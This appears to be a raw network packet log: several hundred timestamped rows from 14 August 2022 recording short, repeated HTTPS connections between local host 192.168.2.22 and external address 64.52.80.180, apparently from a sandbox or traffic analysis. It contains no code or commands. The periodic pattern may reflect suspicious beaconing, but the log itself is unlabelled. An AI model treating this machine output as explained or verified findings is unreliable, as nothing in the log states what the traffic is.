Aug 14, 2022 08:40:50.523473978 CEST	443	49249	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:50.635339022 CEST	49250	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:50.635399103 CEST	443	49250	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:50.635490894 CEST	49250	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:50.636076927 CEST	49250	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:50.636105061 CEST	443	49250	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:50.948812962 CEST	443	49250	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:50.951057911 CEST	49250	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:50.965830088 CEST	49250	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:50.965863943 CEST	443	49250	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:50.973584890 CEST	49250	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:50.973602057 CEST	443	49250	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:50.973695993 CEST	49250	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:50.973704100 CEST	443	49250	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:51.615132093 CEST	443	49250	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:51.615204096 CEST	49250	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:51.615215063 CEST	443	49250	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:51.615255117 CEST	49250	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:51.615277052 CEST	443	49250	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:51.615313053 CEST	49250	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:51.615575075 CEST	49250	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:51.615598917 CEST	443	49250	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:51.783054113 CEST	49251	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:51.783128023 CEST	443	49251	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:51.783199072 CEST	49251	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:51.807657957 CEST	49251	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:51.807706118 CEST	443	49251	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:52.123462915 CEST	443	49251	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:52.123616934 CEST	49251	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:52.146315098 CEST	49251	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:52.146368980 CEST	443	49251	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:52.152137995 CEST	49251	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:52.152174950 CEST	443	49251	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:52.152211905 CEST	49251	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:52.152225971 CEST	443	49251	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:52.786673069 CEST	443	49251	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:52.786931992 CEST	443	49251	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:52.787252903 CEST	49251	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:52.787466049 CEST	49251	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:52.787498951 CEST	443	49251	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:52.893562078 CEST	49252	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:52.893630028 CEST	443	49252	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:52.893801928 CEST	49252	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:52.898087978 CEST	49252	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:52.898119926 CEST	443	49252	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:53.212873936 CEST	443	49252	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:53.215316057 CEST	49252	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:53.224308968 CEST	49252	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:53.224342108 CEST	443	49252	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:53.228271961 CEST	49252	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:53.228297949 CEST	443	49252	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:53.228326082 CEST	49252	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:53.228339911 CEST	443	49252	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:53.874737024 CEST	443	49252	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:53.874810934 CEST	49252	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:53.874838114 CEST	443	49252	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:53.874882936 CEST	49252	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:53.874886036 CEST	443	49252	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:53.874927998 CEST	49252	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:53.883620024 CEST	49252	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:53.883660078 CEST	443	49252	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:53.997286081 CEST	49253	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:53.997334003 CEST	443	49253	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:53.997391939 CEST	49253	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:53.998028040 CEST	49253	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:53.998044014 CEST	443	49253	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:54.313678980 CEST	443	49253	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:54.313786983 CEST	49253	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:54.328310966 CEST	49253	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:54.328340054 CEST	443	49253	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:54.332506895 CEST	49253	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:54.332526922 CEST	443	49253	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:54.332577944 CEST	49253	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:54.332587004 CEST	443	49253	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:54.970263004 CEST	443	49253	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:54.970460892 CEST	443	49253	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:54.970474005 CEST	49253	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:54.970572948 CEST	49253	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:54.970803022 CEST	49253	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:54.970820904 CEST	443	49253	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:55.077591896 CEST	49254	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:55.077658892 CEST	443	49254	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:55.077806950 CEST	49254	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:55.081829071 CEST	49254	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:55.081857920 CEST	443	49254	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:55.395893097 CEST	443	49254	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:55.396060944 CEST	49254	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:55.403415918 CEST	49254	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:55.403443098 CEST	443	49254	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:55.407706976 CEST	49254	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:55.407718897 CEST	443	49254	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:55.407783985 CEST	49254	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:55.407789946 CEST	443	49254	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:56.036329985 CEST	443	49254	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:56.036484957 CEST	443	49254	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:56.036487103 CEST	49254	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:56.036533117 CEST	49254	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:56.036796093 CEST	49254	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:56.036813021 CEST	443	49254	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:56.136250973 CEST	49255	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:56.136321068 CEST	443	49255	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:56.136393070 CEST	49255	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:56.137105942 CEST	49255	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:56.137125015 CEST	443	49255	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:56.450541019 CEST	443	49255	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:56.450619936 CEST	49255	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:56.460406065 CEST	49255	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:56.460426092 CEST	443	49255	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:56.466677904 CEST	49255	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:56.466701031 CEST	443	49255	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:56.466890097 CEST	49255	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:56.466896057 CEST	443	49255	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:57.095932007 CEST	443	49255	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:57.096048117 CEST	443	49255	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:57.096096992 CEST	49255	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:57.096520901 CEST	49255	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:57.096537113 CEST	49255	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:57.096551895 CEST	443	49255	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:57.196647882 CEST	49256	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:57.196713924 CEST	443	49256	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:57.196816921 CEST	49256	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:57.197432041 CEST	49256	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:57.197458029 CEST	443	49256	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:57.511930943 CEST	443	49256	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:57.515580893 CEST	49256	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:57.524061918 CEST	49256	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:57.524096966 CEST	443	49256	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:57.527998924 CEST	49256	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:57.528018951 CEST	443	49256	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:57.528043985 CEST	49256	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:57.528055906 CEST	443	49256	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:58.175478935 CEST	443	49256	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:58.175573111 CEST	443	49256	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:58.175698996 CEST	49256	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:58.176423073 CEST	49256	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:58.176448107 CEST	443	49256	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:58.293356895 CEST	49257	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:58.293415070 CEST	443	49257	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:58.293657064 CEST	49257	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:58.294966936 CEST	49257	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:58.294995070 CEST	443	49257	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:58.606528044 CEST	443	49257	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:58.606712103 CEST	49257	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:58.614214897 CEST	49257	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:58.614227057 CEST	443	49257	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:58.622699976 CEST	49257	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:58.622714043 CEST	443	49257	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:58.622848034 CEST	49257	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:58.622853041 CEST	443	49257	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:59.257749081 CEST	443	49257	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:59.257813931 CEST	49257	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:59.257833004 CEST	443	49257	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:59.257844925 CEST	443	49257	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:59.257879972 CEST	49257	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:59.257893085 CEST	49257	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:59.258292913 CEST	49257	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:59.258307934 CEST	443	49257	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:59.366537094 CEST	49258	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:59.366596937 CEST	443	49258	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:59.366713047 CEST	49258	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:59.367727041 CEST	49258	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:59.367757082 CEST	443	49258	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:59.682152033 CEST	443	49258	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:59.682274103 CEST	49258	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:59.688632965 CEST	49258	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:59.688654900 CEST	443	49258	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:59.693275928 CEST	49258	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:59.693315029 CEST	443	49258	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:59.693341017 CEST	49258	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:59.693351984 CEST	443	49258	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:00.326572895 CEST	443	49258	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:00.326734066 CEST	443	49258	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:00.326797962 CEST	49258	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:00.326827049 CEST	49258	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:00.327692986 CEST	49258	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:00.327722073 CEST	443	49258	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:00.445502996 CEST	49259	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:00.445557117 CEST	443	49259	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:00.445641994 CEST	49259	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:00.446285963 CEST	49259	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:00.446312904 CEST	443	49259	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:00.760922909 CEST	443	49259	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:00.761174917 CEST	49259	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:00.776422024 CEST	49259	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:00.776439905 CEST	443	49259	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:00.780442953 CEST	49259	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:00.780469894 CEST	443	49259	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:00.780564070 CEST	49259	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:00.780572891 CEST	443	49259	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:01.415575027 CEST	443	49259	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:01.415661097 CEST	49259	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:01.415694952 CEST	443	49259	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:01.415726900 CEST	443	49259	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:01.415757895 CEST	49259	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:01.415796041 CEST	49259	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:01.424308062 CEST	49259	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:01.424355984 CEST	443	49259	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:01.538400888 CEST	49260	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:01.538450003 CEST	443	49260	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:01.538500071 CEST	49260	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:01.539872885 CEST	49260	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:01.539895058 CEST	443	49260	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:01.851377964 CEST	443	49260	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:01.851562023 CEST	49260	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:01.863955021 CEST	49260	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:01.863993883 CEST	443	49260	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:01.868172884 CEST	49260	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:01.868220091 CEST	443	49260	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:01.868283987 CEST	49260	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:01.868294001 CEST	443	49260	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:03.501864910 CEST	443	49260	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:03.502036095 CEST	443	49260	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:03.502070904 CEST	49260	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:03.502118111 CEST	49260	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:03.505629063 CEST	49260	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:03.505671024 CEST	443	49260	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:03.615988016 CEST	49261	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:03.616041899 CEST	443	49261	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:03.616128922 CEST	49261	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:03.617080927 CEST	49261	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:03.617094994 CEST	443	49261	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:03.930732965 CEST	443	49261	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:03.930840015 CEST	49261	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:03.947424889 CEST	49261	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:03.947447062 CEST	443	49261	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:03.951869011 CEST	49261	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:03.951891899 CEST	443	49261	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:03.951961040 CEST	49261	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:03.951967001 CEST	443	49261	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:04.584450960 CEST	443	49261	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:04.584552050 CEST	443	49261	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:04.584702969 CEST	49261	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:04.586102009 CEST	49261	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:04.586122036 CEST	443	49261	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:04.686223984 CEST	49262	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:04.686270952 CEST	443	49262	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:04.686332941 CEST	49262	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:04.690725088 CEST	49262	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:04.690737963 CEST	443	49262	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:05.006453037 CEST	443	49262	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:05.008354902 CEST	49262	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:05.019181967 CEST	49262	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:05.019217014 CEST	443	49262	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:05.024203062 CEST	49262	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:05.024230957 CEST	443	49262	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:05.024277925 CEST	49262	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:05.024285078 CEST	443	49262	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:05.655330896 CEST	443	49262	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:05.655436039 CEST	443	49262	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:05.655503035 CEST	49262	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:05.656034946 CEST	49262	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:05.656047106 CEST	49262	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:05.656060934 CEST	443	49262	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:05.761625051 CEST	49263	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:05.761673927 CEST	443	49263	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:05.761775970 CEST	49263	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:05.762480021 CEST	49263	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:05.762490034 CEST	443	49263	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:06.075862885 CEST	443	49263	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:06.075978041 CEST	49263	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:06.090003967 CEST	49263	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:06.090018988 CEST	443	49263	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:06.095911026 CEST	49263	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:06.095920086 CEST	443	49263	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:06.096076965 CEST	49263	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:06.096082926 CEST	443	49263	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:06.738430023 CEST	443	49263	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:06.738521099 CEST	443	49263	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:06.738625050 CEST	49263	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:06.739032984 CEST	49263	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:06.739049911 CEST	49263	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:06.739065886 CEST	443	49263	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:06.844474077 CEST	49264	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:06.844520092 CEST	443	49264	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:06.844610929 CEST	49264	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:06.845660925 CEST	49264	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:06.845671892 CEST	443	49264	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:07.159301996 CEST	443	49264	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:07.159502983 CEST	49264	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:07.167093039 CEST	49264	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:07.167129040 CEST	443	49264	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:07.172945023 CEST	49264	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:07.172976971 CEST	443	49264	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:07.173023939 CEST	49264	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:07.173032999 CEST	443	49264	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:07.805119991 CEST	443	49264	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:07.805210114 CEST	443	49264	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:07.805442095 CEST	49264	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:07.806252956 CEST	49264	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:07.806274891 CEST	443	49264	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:07.918041945 CEST	49265	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:07.918093920 CEST	443	49265	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:07.918164015 CEST	49265	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:07.919030905 CEST	49265	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:07.919054985 CEST	443	49265	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:08.230935097 CEST	443	49265	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:08.231087923 CEST	49265	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:08.241820097 CEST	49265	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:08.241861105 CEST	443	49265	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:08.248461008 CEST	49265	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:08.248502970 CEST	443	49265	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:08.248528957 CEST	49265	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:08.248538971 CEST	443	49265	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:08.883095980 CEST	443	49265	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:08.883241892 CEST	443	49265	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:08.883366108 CEST	49265	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:08.883404016 CEST	49265	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:08.883800983 CEST	49265	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:08.883829117 CEST	443	49265	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:08.991018057 CEST	49266	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:08.991077900 CEST	443	49266	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:08.991173029 CEST	49266	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:08.993309975 CEST	49266	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:08.993333101 CEST	443	49266	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:09.306910992 CEST	443	49266	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:09.307014942 CEST	49266	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:09.313596964 CEST	49266	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:09.313621044 CEST	443	49266	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:09.318084002 CEST	49266	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:09.318113089 CEST	443	49266	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:09.318166018 CEST	49266	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:09.318172932 CEST	443	49266	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:09.956017971 CEST	443	49266	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:09.956114054 CEST	49266	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:09.956121922 CEST	443	49266	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:09.956163883 CEST	49266	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:09.956674099 CEST	49266	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:09.956702948 CEST	443	49266	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:10.069772005 CEST	49267	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:10.069837093 CEST	443	49267	64.52.80.180	192.168.2.22
Aug 14, 2022 08:41:10.069926023 CEST	49267	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:10.070602894 CEST	49267	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:41:10.070626974 CEST	443	49267	64.52.80.180	192.168.2.22
